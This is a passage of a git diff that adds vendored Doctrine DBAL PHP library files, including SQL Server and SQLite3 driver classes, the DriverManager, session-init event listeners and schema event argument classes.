$fetchType) ?? false; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLSrv/Statement.php b/vendor/doctrine/dbal/src/Driver/SQLSrv/Statement.php new file mode 100644 index 000000000..227c33456 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLSrv/Statement.php @@ -0,0 +1,223 @@ + + */ + private array $variables = []; + + /** + * Bound parameter types. + * + * @var array + */ + private array $types = []; + + /** + * Append to any INSERT query to retrieve the last insert id. + */ + private const LAST_INSERT_ID_SQL = ';SELECT SCOPE_IDENTITY() AS LastInsertId;'; + + /** + * @internal The statement can be only instantiated by its driver connection. + * + * @param resource $conn + * @param string $sql + */ + public function __construct($conn, $sql) + { + $this->conn = $conn; + $this->sql = $sql; + + if (stripos($sql, 'INSERT INTO ') !== 0) { + return; + } + + $this->sql .= self::LAST_INSERT_ID_SQL; + } + + /** + * {@inheritDoc} + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + $this->variables[$param] = $value; + $this->types[$param] = $type; + + return true; + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + $this->variables[$param] =& $variable; + $this->types[$param] = $type; + + // unset the statement resource if it exists as the new one will need to be bound to the new variable + $this->stmt = null; + + return true; + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + + foreach ($params as $key => $val) { + if (is_int($key)) { + $this->bindValue($key + 1, $val, ParameterType::STRING); + } else { + $this->bindValue($key, $val, ParameterType::STRING); + } + } + } + + $this->stmt ??= $this->prepare(); + + if (! sqlsrv_execute($this->stmt)) { + throw Error::new(); + } + + return new Result($this->stmt); + } + + /** + * Prepares SQL Server statement resource + * + * @return resource + * + * @throws Exception + */ + private function prepare() + { + $params = []; + + foreach ($this->variables as $column => &$variable) { + switch ($this->types[$column]) { + case ParameterType::LARGE_OBJECT: + $params[$column - 1] = [ + &$variable, + SQLSRV_PARAM_IN, + SQLSRV_PHPTYPE_STREAM(SQLSRV_ENC_BINARY), + SQLSRV_SQLTYPE_VARBINARY('max'), + ]; + break; + + case ParameterType::BINARY: + $params[$column - 1] = [ + &$variable, + SQLSRV_PARAM_IN, + SQLSRV_PHPTYPE_STRING(SQLSRV_ENC_BINARY), + ]; + break; + + case ParameterType::ASCII: + $params[$column - 1] = [ + &$variable, + SQLSRV_PARAM_IN, + SQLSRV_PHPTYPE_STRING(SQLSRV_ENC_CHAR), + ]; + break; + + default: + $params[$column - 1] =& $variable; + break; + } + } + + $stmt = sqlsrv_prepare($this->conn, $this->sql, $params); + + if ($stmt === false) { + throw Error::new(); + } + + return $stmt; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLite3/Connection.php b/vendor/doctrine/dbal/src/Driver/SQLite3/Connection.php new file mode 100644 index 000000000..91b9b5ffe --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLite3/Connection.php @@ -0,0 +1,107 @@ +connection = $connection; + } + + public function prepare(string $sql): Statement + { + try { + $statement = $this->connection->prepare($sql); + } catch (\Exception $e) { + throw Exception::new($e); + } + + assert($statement !== false); + + return new Statement($this->connection, $statement); + } + + public function query(string $sql): Result + { + try { + $result = $this->connection->query($sql); + } catch (\Exception $e) { + throw Exception::new($e); + } + + assert($result !== false); + + return new Result($result, $this->connection->changes()); + } + + /** @inheritDoc */ + public function quote($value, $type = ParameterType::STRING): string + { + return sprintf('\'%s\'', SQLite3::escapeString($value)); + } + + public function exec(string $sql): int + { + try { + $this->connection->exec($sql); + } catch (\Exception $e) { + throw Exception::new($e); + } + + return $this->connection->changes(); + } + + /** @inheritDoc */ + public function lastInsertId($name = null): int + { + return $this->connection->lastInsertRowID(); + } + + public function beginTransaction(): bool + { + try { + return $this->connection->exec('BEGIN'); + } catch (\Exception $e) { + return false; + } + } + + public function commit(): bool + { + try { + return $this->connection->exec('COMMIT'); + } catch (\Exception $e) { + return false; + } + } + + public function rollBack(): bool + { + try { + return $this->connection->exec('ROLLBACK'); + } catch (\Exception $e) { + return false; + } + } + + public function getNativeConnection(): SQLite3 + { + return $this->connection; + } + + public function getServerVersion(): string + { + return SQLite3::version()['versionString']; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLite3/Driver.php b/vendor/doctrine/dbal/src/Driver/SQLite3/Driver.php new file mode 100644 index 000000000..fecc4819d --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLite3/Driver.php @@ -0,0 +1,49 @@ +enableExceptions(true); + + UserDefinedFunctions::register([$connection, 'createFunction']); + + return new Connection($connection); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLite3/Exception.php b/vendor/doctrine/dbal/src/Driver/SQLite3/Exception.php new file mode 100644 index 000000000..3ca1190bc --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLite3/Exception.php @@ -0,0 +1,18 @@ +getMessage(), null, (int) $exception->getCode(), $exception); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLite3/Result.php b/vendor/doctrine/dbal/src/Driver/SQLite3/Result.php new file mode 100644 index 000000000..3881e189a --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLite3/Result.php @@ -0,0 +1,91 @@ +result = $result; + $this->changes = $changes; + } + + /** @inheritDoc */ + public function fetchNumeric() + { + if ($this->result === null) { + return false; + } + + return $this->result->fetchArray(SQLITE3_NUM); + } + + /** @inheritDoc */ + public function fetchAssociative() + { + if ($this->result === null) { + return false; + } + + return $this->result->fetchArray(SQLITE3_ASSOC); + } + + /** @inheritDoc */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** @inheritDoc */ + public function fetchAllNumeric(): array + { + return FetchUtils::fetchAllNumeric($this); + } + + /** @inheritDoc */ + public function fetchAllAssociative(): array + { + return FetchUtils::fetchAllAssociative($this); + } + + /** @inheritDoc */ + public function fetchFirstColumn(): array + { + return FetchUtils::fetchFirstColumn($this); + } + + public function rowCount(): int + { + return $this->changes; + } + + public function columnCount(): int + { + if ($this->result === null) { + return 0; + } + + return $this->result->numColumns(); + } + + public function free(): void + { + if ($this->result === null) { + return; + } + + $this->result->finalize(); + $this->result = null; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/SQLite3/Statement.php b/vendor/doctrine/dbal/src/Driver/SQLite3/Statement.php new file mode 100644 index 000000000..a4166aa61 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/SQLite3/Statement.php @@ -0,0 +1,136 @@ + SQLITE3_NULL, + ParameterType::INTEGER => SQLITE3_INTEGER, + ParameterType::STRING => SQLITE3_TEXT, + ParameterType::ASCII => SQLITE3_TEXT, + ParameterType::BINARY => SQLITE3_BLOB, + ParameterType::LARGE_OBJECT => SQLITE3_BLOB, + ParameterType::BOOLEAN => SQLITE3_INTEGER, + ]; + + private SQLite3 $connection; + private SQLite3Stmt $statement; + + /** @internal The statement can be only instantiated by its driver connection. */ + public function __construct(SQLite3 $connection, SQLite3Stmt $statement) + { + $this->connection = $connection; + $this->statement = $statement; + } + + /** + * @throws UnknownParameterType + * + * {@inheritDoc} + * + * @psalm-assert ParameterType::* $type + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->statement->bindValue($param, $value, $this->convertParamType($type)); + } + + /** + * @throws UnknownParameterType + * + * {@inheritDoc} + * + * @psalm-assert ParameterType::* $type + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->statement->bindParam($param, $variable, $this->convertParamType($type)); + } + + /** @inheritDoc */ + public function execute($params = null): Result + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + + foreach ($params as $param => $value) { + if (is_int($param)) { + $this->bindValue($param + 1, $value, ParameterType::STRING); + } else { + $this->bindValue($param, $value, ParameterType::STRING); + } + } + } + + try { + $result = $this->statement->execute(); + } catch (\Exception $e) { + throw Exception::new($e); + } + + assert($result !== false); + + return new Result($result, $this->connection->changes()); + } + + /** + * @psalm-return value-of + * + * @psalm-assert ParameterType::* $type + */ + private function convertParamType(int $type): int + { + if (! isset(self::PARAM_TYPE_MAP[$type])) { + throw UnknownParameterType::new($type); + } + + return self::PARAM_TYPE_MAP[$type]; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/ServerInfoAwareConnection.php b/vendor/doctrine/dbal/src/Driver/ServerInfoAwareConnection.php new file mode 100644 index 000000000..5687ab0bb --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/ServerInfoAwareConnection.php @@ -0,0 +1,21 @@ +execute() is called. + * + * As mentioned above, the named parameters are not natively supported by the mysqli driver, use executeQuery(), + * fetchAll(), fetchArray(), fetchColumn(), fetchAssoc() methods to have the named parameter emulated by doctrine. + * + * Most parameters are input parameters, that is, parameters that are + * used in a read-only fashion to build up the query. Some drivers support the invocation + * of stored procedures that return data as output parameters, and some also as input/output + * parameters that both send in data and are updated to receive it. + * + * @deprecated Use {@see bindValue()} instead. + * + * @param string|int $param Parameter identifier. For a prepared statement using named placeholders, + * this will be a parameter name of the form :name. For a prepared statement using + * question mark placeholders, this will be the 1-indexed position of the parameter. + * @param mixed $variable Name of the PHP variable to bind to the SQL statement parameter. + * @param int $type Explicit data type for the parameter using the {@see ParameterType} + * constants. + * @param int|null $length You must specify maxlength when using an OUT bind + * so that PHP allocates enough memory to hold the returned value. + * + * @return bool TRUE on success or FALSE on failure. + * + * @throws Exception + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null); + + /** + * Executes a prepared statement + * + * If the prepared statement included parameter markers, you must either: + * call {@see bindParam()} to bind PHP variables to the parameter markers: + * bound variables pass their value as input and receive the output value, + * if any, of their associated parameter markers or pass an array of input-only + * parameter values. + * + * @param mixed[]|null $params A numeric array of values with as many elements as there are + * bound parameters in the SQL statement being executed. + * + * @throws Exception + */ + public function execute($params = null): Result; +} diff --git a/vendor/doctrine/dbal/src/DriverManager.php b/vendor/doctrine/dbal/src/DriverManager.php new file mode 100644 index 000000000..056f42084 --- /dev/null +++ b/vendor/doctrine/dbal/src/DriverManager.php @@ -0,0 +1,288 @@ +, + * driverClass?: class-string, + * driverOptions?: array, + * host?: string, + * password?: string, + * path?: string, + * persistent?: bool, + * platform?: Platforms\AbstractPlatform, + * port?: int, + * serverVersion?: string, + * url?: string, + * user?: string, + * unix_socket?: string, + * } + * @psalm-type Params = array{ + * application_name?: string, + * charset?: string, + * dbname?: string, + * defaultTableOptions?: array, + * default_dbname?: string, + * driver?: key-of, + * driverClass?: class-string, + * driverOptions?: array, + * host?: string, + * keepSlave?: bool, + * keepReplica?: bool, + * master?: OverrideParams, + * memory?: bool, + * password?: string, + * path?: string, + * persistent?: bool, + * platform?: Platforms\AbstractPlatform, + * port?: int, + * primary?: OverrideParams, + * replica?: array, + * serverVersion?: string, + * sharding?: array, + * slaves?: array, + * url?: string, + * user?: string, + * wrapperClass?: class-string, + * unix_socket?: string, + * } + */ +final class DriverManager +{ + /** + * List of supported drivers and their mappings to the driver classes. + * + * To add your own driver use the 'driverClass' parameter to {@see DriverManager::getConnection()}. + */ + private const DRIVER_MAP = [ + 'pdo_mysql' => PDO\MySQL\Driver::class, + 'pdo_sqlite' => PDO\SQLite\Driver::class, + 'pdo_pgsql' => PDO\PgSQL\Driver::class, + 'pdo_oci' => PDO\OCI\Driver::class, + 'oci8' => OCI8\Driver::class, + 'ibm_db2' => IBMDB2\Driver::class, + 'pdo_sqlsrv' => PDO\SQLSrv\Driver::class, + 'mysqli' => Mysqli\Driver::class, + 'pgsql' => PgSQL\Driver::class, + 'sqlsrv' => SQLSrv\Driver::class, + 'sqlite3' => SQLite3\Driver::class, + ]; + + /** + * List of URL schemes from a database URL and their mappings to driver. + * + * @deprecated Use actual driver names instead. + * + * @var array + * @psalm-var array> + */ + private static array $driverSchemeAliases = [ + 'db2' => 'ibm_db2', + 'mssql' => 'pdo_sqlsrv', + 'mysql' => 'pdo_mysql', + 'mysql2' => 'pdo_mysql', // Amazon RDS, for some weird reason + 'postgres' => 'pdo_pgsql', + 'postgresql' => 'pdo_pgsql', + 'pgsql' => 'pdo_pgsql', + 'sqlite' => 'pdo_sqlite', + 'sqlite3' => 'pdo_sqlite', + ]; + + /** + * Private constructor. This class cannot be instantiated. + * + * @codeCoverageIgnore + */ + private function __construct() + { + } + + /** + * Creates a connection object based on the specified parameters. + * This method returns a Doctrine\DBAL\Connection which wraps the underlying + * driver connection. + * + * $params must contain at least one of the following. + * + * Either 'driver' with one of the array keys of {@see DRIVER_MAP}, + * OR 'driverClass' that contains the full class name (with namespace) of the + * driver class to instantiate. + * + * Other (optional) parameters: + * + * user (string): + * The username to use when connecting. + * + * password (string): + * The password to use when connecting. + * + * driverOptions (array): + * Any additional driver-specific options for the driver. These are just passed + * through to the driver. + * + * wrapperClass: + * You may specify a custom wrapper class through the 'wrapperClass' + * parameter but this class MUST inherit from Doctrine\DBAL\Connection. + * + * driverClass: + * The driver class to use. + * + * @param Configuration|null $config The configuration to use. + * @param EventManager|null $eventManager The event manager to use. + * @psalm-param Params $params + * + * @psalm-return ($params is array{wrapperClass: class-string} ? T : Connection) + * + * @throws Exception + * + * @template T of Connection + */ + public static function getConnection( + #[SensitiveParameter] + array $params, + ?Configuration $config = null, + ?EventManager $eventManager = null + ): Connection { + // create default config and event manager, if not set + $config ??= new Configuration(); + $eventManager ??= new EventManager(); + $params = self::parseDatabaseUrl($params); + + // URL support for PrimaryReplicaConnection + if (isset($params['primary'])) { + $params['primary'] = self::parseDatabaseUrl($params['primary']); + } + + if (isset($params['replica'])) { + foreach ($params['replica'] as $key => $replicaParams) { + $params['replica'][$key] = self::parseDatabaseUrl($replicaParams); + } + } + + $driver = self::createDriver($params['driver'] ?? null, $params['driverClass'] ?? null); + + foreach ($config->getMiddlewares() as $middleware) { + $driver = $middleware->wrap($driver); + } + + $wrapperClass = $params['wrapperClass'] ?? Connection::class; + if (! is_a($wrapperClass, Connection::class, true)) { + throw Exception::invalidWrapperClass($wrapperClass); + } + + return new $wrapperClass($params, $driver, $config, $eventManager); + } + + /** + * Returns the list of supported drivers. + * + * @return string[] + * @psalm-return list> + */ + public static function getAvailableDrivers(): array + { + return array_keys(self::DRIVER_MAP); + } + + /** + * @throws Exception + * + * @psalm-assert key-of|null $driver + * @psalm-assert class-string|null $driverClass + */ + private static function createDriver(?string $driver, ?string $driverClass): Driver + { + if ($driverClass === null) { + if ($driver === null) { + throw Exception::driverRequired(); + } + + if (! isset(self::DRIVER_MAP[$driver])) { + throw Exception::unknownDriver($driver, array_keys(self::DRIVER_MAP)); + } + + $driverClass = self::DRIVER_MAP[$driver]; + } elseif (! is_a($driverClass, Driver::class, true)) { + throw Exception::invalidDriverClass($driverClass); + } + + return new $driverClass(); + } + + /** + * Extracts parts from a database URL, if present, and returns an + * updated list of parameters. + * + * @param mixed[] $params The list of parameters. + * @psalm-param Params $params + * + * @return mixed[] A modified list of parameters with info from a database + * URL extracted into indidivual parameter parts. + * @psalm-return Params + * + * @throws Exception + */ + private static function parseDatabaseUrl( + #[SensitiveParameter] + array $params + ): array { + if (! isset($params['url'])) { + return $params; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5843', + 'The "url" connection parameter is deprecated. Please use %s to parse a database url before calling %s.', + DsnParser::class, + self::class, + ); + + $parser = new DsnParser(self::$driverSchemeAliases); + try { + $parsedParams = $parser->parse($params['url']); + } catch (MalformedDsnException $e) { + throw new Exception('Malformed parameter "url".', 0, $e); + } + + if (isset($parsedParams['driver'])) { + // The requested driver from the URL scheme takes precedence + // over the default custom driver from the connection parameters (if any). + unset($params['driverClass']); + } + + $params = array_merge($params, $parsedParams); + + // If a schemeless connection URL is given, we require a default driver or default custom driver + // as connection parameter. + if (! isset($params['driverClass']) && ! isset($params['driver'])) { + throw Exception::driverRequired($params['url']); + } + + return $params; + } +} diff --git a/vendor/doctrine/dbal/src/Event/ConnectionEventArgs.php b/vendor/doctrine/dbal/src/Event/ConnectionEventArgs.php new file mode 100644 index 000000000..9a69c2541 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/ConnectionEventArgs.php @@ -0,0 +1,27 @@ +connection = $connection; + } + + /** @return Connection */ + public function getConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Event/Listeners/OracleSessionInit.php b/vendor/doctrine/dbal/src/Event/Listeners/OracleSessionInit.php new file mode 100644 index 000000000..9598f43cc --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/Listeners/OracleSessionInit.php @@ -0,0 +1,77 @@ + 'HH24:MI:SS', + 'NLS_DATE_FORMAT' => 'YYYY-MM-DD HH24:MI:SS', + 'NLS_TIMESTAMP_FORMAT' => 'YYYY-MM-DD HH24:MI:SS', + 'NLS_TIMESTAMP_TZ_FORMAT' => 'YYYY-MM-DD HH24:MI:SS TZH:TZM', + 'NLS_NUMERIC_CHARACTERS' => '.,', + ]; + + /** @param string[] $oracleSessionVars */ + public function __construct(array $oracleSessionVars = []) + { + $this->_defaultSessionVars = array_merge($this->_defaultSessionVars, $oracleSessionVars); + } + + /** + * @return void + * + * @throws Exception + */ + public function postConnect(ConnectionEventArgs $args) + { + if (count($this->_defaultSessionVars) === 0) { + return; + } + + $vars = []; + foreach (array_change_key_case($this->_defaultSessionVars, CASE_UPPER) as $option => $value) { + if ($option === 'CURRENT_SCHEMA') { + $vars[] = $option . ' = ' . $value; + } else { + $vars[] = $option . " = '" . $value . "'"; + } + } + + $sql = 'ALTER SESSION SET ' . implode(' ', $vars); + $args->getConnection()->executeStatement($sql); + } + + /** + * {@inheritDoc} + */ + public function getSubscribedEvents() + { + return [Events::postConnect]; + } +} diff --git a/vendor/doctrine/dbal/src/Event/Listeners/SQLSessionInit.php b/vendor/doctrine/dbal/src/Event/Listeners/SQLSessionInit.php new file mode 100644 index 000000000..4ce32d628 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/Listeners/SQLSessionInit.php @@ -0,0 +1,43 @@ +sql = $sql; + } + + /** + * @return void + * + * @throws Exception + */ + public function postConnect(ConnectionEventArgs $args) + { + $args->getConnection()->executeStatement($this->sql); + } + + /** + * {@inheritDoc} + */ + public function getSubscribedEvents() + { + return [Events::postConnect]; + } +} diff --git a/vendor/doctrine/dbal/src/Event/Listeners/SQLiteSessionInit.php b/vendor/doctrine/dbal/src/Event/Listeners/SQLiteSessionInit.php new file mode 100644 index 000000000..950f05f48 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/Listeners/SQLiteSessionInit.php @@ -0,0 +1,30 @@ +getConnection()->executeStatement('PRAGMA foreign_keys=ON'); + } + + /** + * {@inheritDoc} + */ + public function getSubscribedEvents() + { + return [Events::postConnect]; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaAlterTableAddColumnEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaAlterTableAddColumnEventArgs.php new file mode 100644 index 000000000..9f3ff6ea7 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaAlterTableAddColumnEventArgs.php @@ -0,0 +1,81 @@ +column = $column; + $this->tableDiff = $tableDiff; + $this->platform = $platform; + } + + /** @return Column */ + public function getColumn() + { + return $this->column; + } + + /** @return TableDiff */ + public function getTableDiff() + { + return $this->tableDiff; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaAlterTableAddColumnEventArgs + */ + public function addSql($sql) + { + if (is_array($sql)) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3580', + 'Passing multiple SQL statements as an array to SchemaAlterTableAddColumnEventaArrgs::addSql() ' . + 'is deprecated. Pass each statement as an individual argument instead.', + ); + } + + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaAlterTableChangeColumnEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaAlterTableChangeColumnEventArgs.php new file mode 100644 index 000000000..9ba37aade --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaAlterTableChangeColumnEventArgs.php @@ -0,0 +1,71 @@ +columnDiff = $columnDiff; + $this->tableDiff = $tableDiff; + $this->platform = $platform; + } + + /** @return ColumnDiff */ + public function getColumnDiff() + { + return $this->columnDiff; + } + + /** @return TableDiff */ + public function getTableDiff() + { + return $this->tableDiff; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaAlterTableChangeColumnEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaAlterTableEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaAlterTableEventArgs.php new file mode 100644 index 000000000..07c065a9a --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaAlterTableEventArgs.php @@ -0,0 +1,62 @@ +tableDiff = $tableDiff; + $this->platform = $platform; + } + + /** @return TableDiff */ + public function getTableDiff() + { + return $this->tableDiff; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaAlterTableEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaAlterTableRemoveColumnEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaAlterTableRemoveColumnEventArgs.php new file mode 100644 index 000000000..4122b418c --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaAlterTableRemoveColumnEventArgs.php @@ -0,0 +1,71 @@ +column = $column; + $this->tableDiff = $tableDiff; + $this->platform = $platform; + } + + /** @return Column */ + public function getColumn() + { + return $this->column; + } + + /** @return TableDiff */ + public function getTableDiff() + { + return $this->tableDiff; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaAlterTableRemoveColumnEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaAlterTableRenameColumnEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaAlterTableRenameColumnEventArgs.php new file mode 100644 index 000000000..21d3c1645 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaAlterTableRenameColumnEventArgs.php @@ -0,0 +1,82 @@ +oldColumnName = $oldColumnName; + $this->column = $column; + $this->tableDiff = $tableDiff; + $this->platform = $platform; + } + + /** @return string */ + public function getOldColumnName() + { + return $this->oldColumnName; + } + + /** @return Column */ + public function getColumn() + { + return $this->column; + } + + /** @return TableDiff */ + public function getTableDiff() + { + return $this->tableDiff; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaAlterTableRenameColumnEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaColumnDefinitionEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaColumnDefinitionEventArgs.php new file mode 100644 index 000000000..04fcbde9c --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaColumnDefinitionEventArgs.php @@ -0,0 +1,87 @@ +tableColumn = $tableColumn; + $this->table = $table; + $this->database = $database; + $this->connection = $connection; + } + + /** + * Allows to clear the column which means the column will be excluded from + * tables column list. + * + * @return SchemaColumnDefinitionEventArgs + */ + public function setColumn(?Column $column = null) + { + $this->column = $column; + + return $this; + } + + /** @return Column|null */ + public function getColumn() + { + return $this->column; + } + + /** @return mixed[] */ + public function getTableColumn() + { + return $this->tableColumn; + } + + /** @return string */ + public function getTable() + { + return $this->table; + } + + /** @return string */ + public function getDatabase() + { + return $this->database; + } + + /** @return Connection */ + public function getConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaCreateTableColumnEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaCreateTableColumnEventArgs.php new file mode 100644 index 000000000..54f134d14 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaCreateTableColumnEventArgs.php @@ -0,0 +1,71 @@ +column = $column; + $this->table = $table; + $this->platform = $platform; + } + + /** @return Column */ + public function getColumn() + { + return $this->column; + } + + /** @return Table */ + public function getTable() + { + return $this->table; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaCreateTableColumnEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaCreateTableEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaCreateTableEventArgs.php new file mode 100644 index 000000000..a7d548deb --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaCreateTableEventArgs.php @@ -0,0 +1,87 @@ +table = $table; + $this->columns = $columns; + $this->options = $options; + $this->platform = $platform; + } + + /** @return Table */ + public function getTable() + { + return $this->table; + } + + /** @return mixed[][] */ + public function getColumns() + { + return $this->columns; + } + + /** @return mixed[] */ + public function getOptions() + { + return $this->options; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * Passing multiple SQL statements as an array is deprecated. Pass each statement as an individual argument instead. + * + * @param string|string[] $sql + * + * @return SchemaCreateTableEventArgs + */ + public function addSql($sql) + { + $this->sql = array_merge($this->sql, is_array($sql) ? $sql : func_get_args()); + + return $this; + } + + /** @return string[] */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaDropTableEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaDropTableEventArgs.php new file mode 100644 index 000000000..f45e3a15a --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaDropTableEventArgs.php @@ -0,0 +1,64 @@ +table = $table; + $this->platform = $platform; + } + + /** @return string|Table */ + public function getTable() + { + return $this->table; + } + + /** @return AbstractPlatform */ + public function getPlatform() + { + return $this->platform; + } + + /** + * @param string $sql + * + * @return SchemaDropTableEventArgs + */ + public function setSql($sql) + { + $this->sql = $sql; + + return $this; + } + + /** @return string|null */ + public function getSql() + { + return $this->sql; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaEventArgs.php new file mode 100644 index 000000000..77d1d3908 --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaEventArgs.php @@ -0,0 +1,29 @@ +preventDefault = true; + + return $this; + } + + /** @return bool */ + public function isDefaultPrevented() + { + return $this->preventDefault; + } +} diff --git a/vendor/doctrine/dbal/src/Event/SchemaIndexDefinitionEventArgs.php b/vendor/doctrine/dbal/src/Event/SchemaIndexDefinitionEventArgs.php new file mode 100644 index 000000000..dbee55a0e --- /dev/null +++ b/vendor/doctrine/dbal/src/Event/SchemaIndexDefinitionEventArgs.php @@ -0,0 